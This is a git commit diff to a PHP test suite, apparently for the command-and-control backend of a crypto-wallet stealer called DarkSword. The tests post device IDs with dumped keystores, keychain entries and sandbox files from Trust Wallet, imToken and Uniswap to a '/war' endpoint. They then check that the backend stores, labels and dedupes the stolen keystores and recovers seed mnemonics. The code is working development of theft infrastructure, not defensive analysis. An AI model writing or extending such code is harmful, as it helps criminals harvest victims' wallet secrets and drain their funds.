feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+42 -18
View File
@@ -399,7 +399,17 @@ class DarkSwordC2ApiTest extends TestCase
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
'imtoken' => [
'walletsV2.json' => json_encode([
'version' => 3,
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'aa',
'mac' => 'bb',
'kdf' => 'pbkdf2',
],
]),
],
],
])->assertOk()->assertJson(['ok' => true]);
@@ -412,6 +422,12 @@ class DarkSwordC2ApiTest extends TestCase
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
$this->assertEqualsCanonicalizing(
['钥匙串', '标准 Keystore'],
$rows->map(fn ($row) => $row->kindLabel())->all()
);
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
$this->assertTrue($rows->every(fn ($row) => (int) $row->chain === Device::CHAIN_DARKSWORD));
}
#[Test]
@@ -442,41 +458,51 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertSame(2, $rows->count());
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
$this->assertSame(1, $rows->count());
$this->assertSame(['钥匙串'], $rows->map(fn ($row) => $row->kindLabel())->all());
}
#[Test]
public function war_collapses_existing_duplicate_sandbox_rows(): void
public function war_collapses_existing_duplicate_web3_rows(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$raw = [
'kind' => 'sandbox',
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
$utc = [
'kind' => 'web3.keystore',
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'aa',
'mac' => 'bb',
'kdf' => 'scrypt',
],
];
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
'raw_json' => $utc,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
'raw_json' => $utc,
]);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => json_encode($utc),
],
],
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame('标准 Keystore', WalletKeystore::query()->where('device_id', $device->id)->first()?->kindLabel());
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
}
@@ -615,6 +641,8 @@ class DarkSwordC2ApiTest extends TestCase
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
$this->assertTrue($rows->contains(fn ($row) => $row->kind() === 'web3.keystore'));
}
#[Test]
@@ -654,14 +682,7 @@ class DarkSwordC2ApiTest extends TestCase
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
@@ -1593,6 +1614,8 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertNotNull($ks);
// No password → not decrypted, but keystore is stored.
$this->assertSame(0, (int) $ks->decrypted);
$this->assertSame(1, (int) $ks->needs_password);
$this->assertSame('标准 Keystore', $ks->kindLabel());
}
#[Test]
@@ -1682,6 +1705,7 @@ class DarkSwordC2ApiTest extends TestCase
// Mnemonic should be recovered by walkForMnemonics.
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
$this->assertSame('Uniswap', $memo->source);
$this->assertSame($mnemonic, $memo->mnemonic);
// Address should be extracted from the account field.